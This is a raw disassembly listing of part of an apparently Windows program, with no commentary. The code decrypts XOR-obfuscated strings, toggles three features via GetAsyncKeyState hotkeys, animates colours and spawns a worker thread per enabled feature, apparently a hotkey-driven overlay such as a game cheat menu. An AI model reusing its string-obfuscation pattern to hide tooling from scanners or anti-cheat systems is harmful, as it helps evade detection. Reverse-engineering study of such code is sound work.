movd xmm0, dword [0x14041fa1c]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4e0], xmm0
movd xmm1, dword [0x14041fa20]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4e4], xmm1
movd xmm0, dword [0x14041fa24]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4e8], xmm0
mov dword [rsp + 0x4ec], 0x3f800000
lea rcx, [rsp + 0x4e0]
call fcn.140008d20
mov r10d, eax
movups xmm0, xmmword [str.vCDLVWeqRPV4.0c]
movups xmmword [rsp + 0x120], xmm0
mov ecx, dword [str.7_1__J]
mov dword [rsp + 0x130], ecx
movzx ecx, word [0x1400f8a24]
mov word [rsp + 0x134], cx
cmp byte [0x1400f8a25], 0
je 0x1400780e0
mov r8d, esi
cmp r15d, 2
jl 0x140078093
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140077f90
cmp r8d, 0x16
jge 0x1400780e0
movsxd rax, r8d
lea r9, [rsp + 0x120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400780b0
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x120]
call fcn.14005f6b0
movaps xmm1, xmm9
movaps xmm0, xmm13
call fcn.140017c20
movaps xmm0, xmmword [0x1400faf70]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400faf60]
movups xmmword [rsp + 0x260], xmm0
lea rcx, [rsp + 0x260]
call fcn.140008d20
movsd xmm0, qword [0x1400f8a28]
movsd qword [rsp + 0x9a], xmm0
movzx ecx, word [0x1400f8a30]
mov word [rsp + 0xa2], cx
cmp byte [0x1400f8a31], 0
je 0x1400781b7
mov byte [rsp + 0x9a], 9
xor byte [rsp + 0x9b], 0x36
xor byte [rsp + 0x9c], 0x37
xor byte [rsp + 0x9d], 0x38
xor byte [rsp + 0x9e], 0x39
xor byte [rsp + 0x9f], 0x3a
xor byte [rsp + 0xa0], 0x3b
xor byte [rsp + 0xa1], 0x3c
xor byte [rsp + 0xa2], 0x3d
xor byte [rsp + 0xa3], 0x3e
movaps xmm3, xmm14
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0x9a]
call fcn.14005f6b0
movd xmm0, dword [0x14041fa44]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4f0], xmm0
movd xmm1, dword [0x14041fa48]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4f4], xmm1
movd xmm0, dword [0x14041fa4c]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x4f8], xmm0
movd xmm1, dword [reloc.WLDAP32.dll_Ordinal_60]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x4fc], xmm1
lea rcx, [rsp + 0x4f0]
call fcn.140008d20
mov ebx, eax
movd xmm0, dword [0x14041fa38]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x500], xmm0
movd xmm1, dword [0x14041fa3c]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm12
movss dword [rsp + 0x504], xmm1
movd xmm0, dword [0x14041fa40]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movss dword [rsp + 0x508], xmm0
mov dword [rsp + 0x50c], 0x3f800000
lea rcx, [rsp + 0x500]
call fcn.140008d20
mov r10d, eax
movups xmm0, xmmword [str.yYV_]
movups xmmword [rsp + 0x120], xmm0
mov ecx, dword [0x1400f8a48]
mov dword [rsp + 0x130], ecx
movzx ecx, byte [0x1400f8a4c]
mov byte [rsp + 0x134], cl
mov r8d, esi
cmp r15d, 2
jl 0x140078423
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140078320
cmp r8d, 0x15
jge 0x140078470
movsxd rax, r8d
lea r9, [rsp + 0x120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140078440
movaps xmm3, xmm14
mov r8d, ebx
mov edx, r10d
lea rcx, [rsp + 0x120]
call fcn.14005f6b0
movaps xmm1, xmm9
movaps xmm0, xmm13
call fcn.140017c20
movaps xmm0, xmmword [0x1400faf70]
movups xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140008d20
mov ebx, eax
movaps xmm0, xmmword [0x1400faf60]
movups xmmword [rsp + 0x1a0], xmm0
lea rcx, [rsp + 0x1a0]
call fcn.140008d20
movsd xmm0, qword [str.___10]
movsd qword [rsp + 0xa4], xmm0
movzx ecx, word [0x1400f8a58]
mov word [rsp + 0xac], cx
cmp byte [0x1400f8a59], 0
je 0x140078547
mov byte [rsp + 0xa4], 9
xor byte [rsp + 0xa5], 0x36
xor byte [rsp + 0xa6], 0x37
xor byte [rsp + 0xa7], 0x38
xor byte [rsp + 0xa8], 0x39
xor byte [rsp + 0xa9], 0x3a
xor byte [rsp + 0xaa], 0x3b
xor byte [rsp + 0xab], 0x3c
xor byte [rsp + 0xac], 0x3d
xor byte [rsp + 0xad], 0x3e
movaps xmm3, xmm14
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xa4]
call fcn.14005f6b0
mov ecx, 3
call fcn.1400144e0
call fcn.14000aaf0
call fcn.14000a2d0
call fcn.14000a2d0
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140078595
cmp byte [0x1404397c6], 0
sete byte [0x1404397c6]
jmp 0x1400785d1
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400785b4
cmp byte [0x1404397c7], 0
sete byte [0x1404397c7]
jmp 0x1400785d1
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400785d1
cmp byte [0x1404397dc], 0
sete byte [0x1404397dc]
call fcn.140057830
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a248]
cmp eax, 0x1b58
jbe 0x1400785f0
mov byte [0x14043a245], 1
mov ecx, dword [reloc.WLDAP32.dll_Ordinal_60]
xorps xmm1, xmm1
xorps xmm0, xmm0
xorps xmm2, xmm2
xorps xmm3, xmm3
cvtsi2ss xmm0, ecx
xorps xmm4, xmm4
cmp byte [0x1404397c6], 0
je 0x1400786c6
mov eax, 0xff
sub eax, ecx
cvtsi2ss xmm1, eax
mulss xmm1, xmm11
addss xmm1, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa14]
sub eax, ecx
cvtsi2ss xmm2, eax
mulss xmm2, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm2, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa10]
sub eax, ecx
cvtsi2ss xmm3, eax
mulss xmm3, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm3, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa0c]
sub eax, ecx
cvtsi2ss xmm4, eax
mulss xmm4, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm4, xmm0
mov eax, 0xff
mov ecx, dword [0x14041fa08]
sub eax, ecx
xorps xmm5, xmm5
cvtsi2ss xmm5, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, 0xff
mov ecx, dword [0x14041fa04]
sub eax, ecx
xorps xmm6, xmm6
cvtsi2ss xmm6, eax
mov eax, 0xff
jmp 0x140078771
mov eax, reloc.WLDAP32.dll_Ordinal_60
sub eax, ecx
cvtsi2ss xmm1, eax
mulss xmm1, xmm11
addss xmm1, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa14]
sub eax, ecx
cvtsi2ss xmm2, eax
mulss xmm2, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm2, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa10]
sub eax, ecx
cvtsi2ss xmm3, eax
mulss xmm3, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm3, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa0c]
sub eax, ecx
cvtsi2ss xmm4, eax
mulss xmm4, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm4, xmm0
mov eax, 0x7d
mov ecx, dword [0x14041fa08]
sub eax, ecx
xorps xmm5, xmm5
cvtsi2ss xmm5, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, 0x7d
mov ecx, dword [0x14041fa04]
sub eax, ecx
xorps xmm6, xmm6
cvtsi2ss xmm6, eax
mov eax, 0x7d
mulss xmm5, xmm11
addss xmm5, xmm0
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mulss xmm6, xmm11
mov ecx, dword [str.ddd_ddd_ddd_]
addss xmm6, xmm0
xorps xmm7, xmm7
sub eax, ecx
xorps xmm0, xmm0
cvtsi2ss xmm7, eax
cvtsi2ss xmm0, ecx
mulss xmm7, xmm11
addss xmm7, xmm0
cvttss2si eax, xmm7
mov dword [str.ddd_ddd_ddd_], eax
cvttss2si eax, xmm6
mov dword [0x14041fa04], eax
cvttss2si eax, xmm5
mov dword [0x14041fa08], eax
cvttss2si eax, xmm4
mov dword [0x14041fa0c], eax
cvttss2si eax, xmm3
mov dword [0x14041fa10], eax
cvttss2si eax, xmm2
mov dword [0x14041fa14], eax
cvttss2si eax, xmm1
mov dword [reloc.WLDAP32.dll_Ordinal_60], eax
mov ecx, dword [reloc.WLDAP32.dll_Ordinal_60]
xorps xmm1, xmm1
xorps xmm0, xmm0
xorps xmm2, xmm2
xorps xmm3, xmm3
cvtsi2ss xmm0, ecx
xorps xmm4, xmm4
cmp byte [0x1404397c7], 0
je 0x1400788c5
mov eax, 0xff
sub eax, ecx
cvtsi2ss xmm1, eax
mulss xmm1, xmm11
addss xmm1, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa30]
sub eax, ecx
cvtsi2ss xmm2, eax
mulss xmm2, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm2, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa2c]
sub eax, ecx
cvtsi2ss xmm3, eax
mulss xmm3, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm3, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa28]
sub eax, ecx
cvtsi2ss xmm4, eax
mulss xmm4, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm4, xmm0
mov eax, 0xff
mov ecx, dword [0x14041fa24]
sub eax, ecx
xorps xmm5, xmm5
cvtsi2ss xmm5, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, 0xff
mov ecx, dword [0x14041fa20]
sub eax, ecx
xorps xmm6, xmm6
cvtsi2ss xmm6, eax
mov eax, 0xff
jmp 0x140078970
mov eax, reloc.WLDAP32.dll_Ordinal_60
sub eax, ecx
cvtsi2ss xmm1, eax
mulss xmm1, xmm11
addss xmm1, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa30]
sub eax, ecx
cvtsi2ss xmm2, eax
mulss xmm2, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm2, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa2c]
sub eax, ecx
cvtsi2ss xmm3, eax
mulss xmm3, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm3, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa28]
sub eax, ecx
cvtsi2ss xmm4, eax
mulss xmm4, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm4, xmm0
mov eax, 0x7d
mov ecx, dword [0x14041fa24]
sub eax, ecx
xorps xmm5, xmm5
cvtsi2ss xmm5, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, 0x7d
mov ecx, dword [0x14041fa20]
sub eax, ecx
xorps xmm6, xmm6
cvtsi2ss xmm6, eax
mov eax, 0x7d
mulss xmm5, xmm11
addss xmm5, xmm0
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mulss xmm6, xmm11
mov ecx, dword [0x14041fa1c]
addss xmm6, xmm0
xorps xmm7, xmm7
sub eax, ecx
xorps xmm0, xmm0
cvtsi2ss xmm7, eax
cvtsi2ss xmm0, ecx
mulss xmm7, xmm11
addss xmm7, xmm0
cvttss2si eax, xmm7
mov dword [0x14041fa1c], eax
cvttss2si eax, xmm6
mov dword [0x14041fa20], eax
cvttss2si eax, xmm5
mov dword [0x14041fa24], eax
cvttss2si eax, xmm4
mov dword [0x14041fa28], eax
cvttss2si eax, xmm3
mov dword [0x14041fa2c], eax
cvttss2si eax, xmm2
mov dword [0x14041fa30], eax
cvttss2si eax, xmm1
mov dword [reloc.WLDAP32.dll_Ordinal_60], eax
mov ecx, dword [reloc.WLDAP32.dll_Ordinal_60]
xorps xmm1, xmm1
xorps xmm0, xmm0
xorps xmm2, xmm2
xorps xmm3, xmm3
cvtsi2ss xmm0, ecx
xorps xmm4, xmm4
cmp byte [0x1404397dc], 0
je 0x140078ac4
mov eax, 0xff
sub eax, ecx
cvtsi2ss xmm1, eax
mulss xmm1, xmm11
addss xmm1, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa4c]
sub eax, ecx
cvtsi2ss xmm2, eax
mulss xmm2, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm2, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa48]
sub eax, ecx
cvtsi2ss xmm3, eax
mulss xmm3, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm3, xmm0
mov eax, reloc.WLDAP32.dll_Ordinal_200
mov ecx, dword [0x14041fa44]
sub eax, ecx
cvtsi2ss xmm4, eax
mulss xmm4, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm4, xmm0
mov eax, 0xff
mov ecx, dword [0x14041fa40]
sub eax, ecx
xorps xmm5, xmm5
cvtsi2ss xmm5, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, 0xff
mov ecx, dword [0x14041fa3c]
sub eax, ecx
xorps xmm6, xmm6
cvtsi2ss xmm6, eax
mov eax, 0xff
jmp 0x140078b6f
mov eax, reloc.WLDAP32.dll_Ordinal_60
sub eax, ecx
cvtsi2ss xmm1, eax
mulss xmm1, xmm11
addss xmm1, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa4c]
sub eax, ecx
cvtsi2ss xmm2, eax
mulss xmm2, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm2, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa48]
sub eax, ecx
cvtsi2ss xmm3, eax
mulss xmm3, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm3, xmm0
mov eax, 0x64
mov ecx, dword [0x14041fa44]
sub eax, ecx
cvtsi2ss xmm4, eax
mulss xmm4, xmm11
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm4, xmm0
mov eax, 0x7d
mov ecx, dword [0x14041fa40]
sub eax, ecx
xorps xmm5, xmm5
cvtsi2ss xmm5, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, 0x7d
mov ecx, dword [0x14041fa3c]
sub eax, ecx
xorps xmm6, xmm6
cvtsi2ss xmm6, eax
mov eax, 0x7d
mulss xmm5, xmm11
addss xmm5, xmm0
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
mulss xmm6, xmm11
mov ecx, dword [0x14041fa38]
addss xmm6, xmm0
xorps xmm7, xmm7
sub eax, ecx
xorps xmm0, xmm0
cvtsi2ss xmm7, eax
cvtsi2ss xmm0, ecx
mulss xmm7, xmm11
addss xmm7, xmm0
cvttss2si eax, xmm7
mov dword [0x14041fa38], eax
cvttss2si eax, xmm6
mov dword [0x14041fa3c], eax
cvttss2si eax, xmm5
mov dword [0x14041fa40], eax
cvttss2si eax, xmm4
mov dword [0x14041fa44], eax
cvttss2si eax, xmm3
mov dword [0x14041fa48], eax
cvttss2si eax, xmm2
mov dword [0x14041fa4c], eax
cvttss2si eax, xmm1
mov dword [reloc.WLDAP32.dll_Ordinal_60], eax
movd xmm0, dword [0x140438268]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x310], 0x43b80000
movss dword [rsp + 0x314], xmm0
lea rcx, [rsp + 0x310]
call fcn.140018750
mov dword [rsp + 0x328], 0x43820000
mov dword [rsp + 0x32c], 0x420c0000
movsd xmm0, qword [0x1400f8a60]
movsd qword [rsp + 0x1c8], xmm0
mov eax, dword [0x1400f8a68]
mov dword [rsp + 0x1d0], eax
movzx eax, word [0x1400f8a6c]
mov word [rsp + 0x1d4], ax
movzx eax, byte [0x1400f8a6e]
mov byte [rsp + 0x1d6], al
mov r8d, esi
cmp r15d, 2
jl 0x140078d87
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x1400f5690]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400f8a60]
xorps xmm2, xmm0
movd dword [rsp + 0x1c8], xmm2
movdqa xmm3, xmmword [0x1400fae10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fae20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1cc]
xorps xmm2, xmm1
movd dword [rsp + 0x1cc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x1c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140078da0
mov r8d, 7
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x1c8]
call fcn.140034760
test al, al
je 0x140079379
movzx ecx, byte [0x1404397c6]
call fcn.140050640
movzx ecx, byte [0x1404397c7]
call fcn.140050ea0
movzx ecx, byte [0x1404397dc]
call fcn.140051700
movzx eax, byte [0x1404397c6]
mov byte [0x140439760], al
movzx eax, byte [0x1404397c7]
mov byte [0x140439761], al
movzx eax, byte [0x1404397dc]
mov byte [0x140439762], al
mov ecx, 8
call fcn.1400e54ac
test rax, rax
je 0x140078e59
lea rcx, [0x140061a30]
mov qword [rax], rcx
jmp 0x140078e5c
mov rax, rsi
mov qword [rsp + 0x160], rax
mov ebx, dword [rsp + 0x88]
bts ebx, 7
lea rcx, [rsp + 0x198]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x190], rax
test rax, rax
je 0x140079b66
cmp dword [rsp + 0x198], 0
je 0x140079b5d
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140079b5d
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x190], xmm0
cmp byte [0x1404397c6], al
je 0x140079085
lea ecx, [rax + 8]
call fcn.1400e54ac
test rax, rax
je 0x140078f0a
lea rcx, [0x1400624c0]
mov qword [rax], rcx
jmp 0x140078f0d
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 0xb
lea rcx, [rsp + 0x3b8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x3b0], rax
test rax, rax
je 0x140079ad6
cmp dword [rsp + 0x3b8], 0
je 0x140079acd
movaps xmm0, xmmword [rsp + 0x3b0]
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140079acd
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3b0], xmm0
lea ecx, [rax + 8]
call fcn.1400e54ac
test rax, rax
je 0x140078fa8
lea rcx, [0x140064b80]
mov qword [rax], rcx
jmp 0x140078fab
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 0xc
lea rcx, [rsp + 0x258]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x250], rax
test rax, rax
je 0x140079abb
lea rcx, [rsp + 0x250]
call fcn.140066fc0
nop
cmp dword [rsp + 0x258], 0
jne 0x1400798dc
mov ecx, 8
call fcn.1400e54ac
test rax, rax
je 0x140079024
lea rcx, [0x140061120]
mov qword [rax], rcx
jmp 0x140079027
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 0xd
lea rcx, [rsp + 0x528]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x520], rax
test rax, rax
je 0x140079aa9
lea rcx, [rsp + 0x520]
call fcn.140066fc0
nop
cmp dword [rsp + 0x528], 0
jne 0x1400798d5
cmp byte [0x1404397c7], 0
je 0x14007910a
mov ecx, 8
call fcn.1400e54ac
test rax, rax
je 0x1400790a9
lea rcx, [0x140062460]
mov qword [rax], rcx
jmp 0x1400790ac
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 0xf
lea rcx, [rsp + 0x228]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x220], rax
test rax, rax
je 0x140079ae8
lea rcx, [rsp + 0x220]
call fcn.140066fc0
nop
cmp dword [rsp + 0x228], 0
jne 0x1400798e3
cmp byte [0x1404397dc], 0
je 0x14007918f
mov ecx, 8
call fcn.1400e54ac
test rax, rax
je 0x14007912e
lea rcx, [0x140063ff0]
mov qword [rax], rcx
jmp 0x140079131
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 0xe
lea rcx, [rsp + 0x218]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x210], rax
test rax, rax
je 0x140079afa
lea rcx, [rsp + 0x210]
call fcn.140066fc0
nop
cmp dword [rsp + 0x218], 0
jne 0x1400798ea
mov ecx, 8
call fcn.1400e54ac
test rax, rax
je 0x1400791aa
lea rcx, [0x140062e20]
mov qword [rax], rcx
jmp 0x1400791ad
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 8
lea rcx, [rsp + 0x3e8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x3e0], rax
test rax, rax
je 0x140079b4b
cmp dword [rsp + 0x3e8], 0
je 0x140079b42
